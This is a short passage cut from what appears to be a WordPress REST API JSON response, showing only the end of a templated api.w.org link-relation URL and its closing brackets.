ps:\/\/api.w.org\/{rel}","templated":true}]}}